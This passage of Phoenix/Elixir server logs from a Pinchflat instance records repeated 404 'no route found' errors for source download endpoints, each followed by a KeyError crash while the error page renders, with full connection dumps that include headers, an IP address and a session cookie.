(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guWFEURJJsgIAC6eC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47110}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47110}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163855.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, priv (truncated) 18:56:16.506 [info] GET /sources/3/force_redownload 18:56:16.507 [debug] QUERY OK source="settings" db=0.4ms idle=122.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.508 [debug] QUERY OK source="settings" db=0.4ms idle=122.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.508 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.509 [error] #PID<0.163857.0> running PinchflatWeb.Endpoint (connection #PID<0.163856.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47114}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163857.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guWR2j4Y3g-QAC6ei"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47114}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47114}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163857.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 18:56:16.573 [info] GET /sources/3/force_download_pending 18:56:16.573 [debug] QUERY OK source="settings" db=0.1ms idle=119.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.573 [debug] QUERY OK source="settings" db=0.1ms idle=119.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.574 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.574 [error] #PID<0.163859.0> running PinchflatWeb.Endpoint (connection #PID<0.163858.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163858.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47130}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163859.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guWhrkCZXcfYAFrxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163858.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47130}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163858.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47130}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163859.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, priv (truncated) 18:56:16.624 [info] GET /sources/3/force_redownload 18:56:16.624 [debug] QUERY OK source="settings" db=0.3ms idle=116.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.625 [debug] QUERY OK source="settings" db=0.1ms idle=116.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.625 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.697 [info] GET /sources/3/force_index 18:56:16.697 [debug] QUERY OK source="settings" db=0.2ms idle=133.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.697 [debug] QUERY OK source="settings" db=0.1ms idle=124.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.698 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.625 [error] #PID<0.163861.0> running PinchflatWeb.Endpoint (connection #PID<0.163860.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47134}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163861.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guWt3KOdLktIAFrxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47134}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47134}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 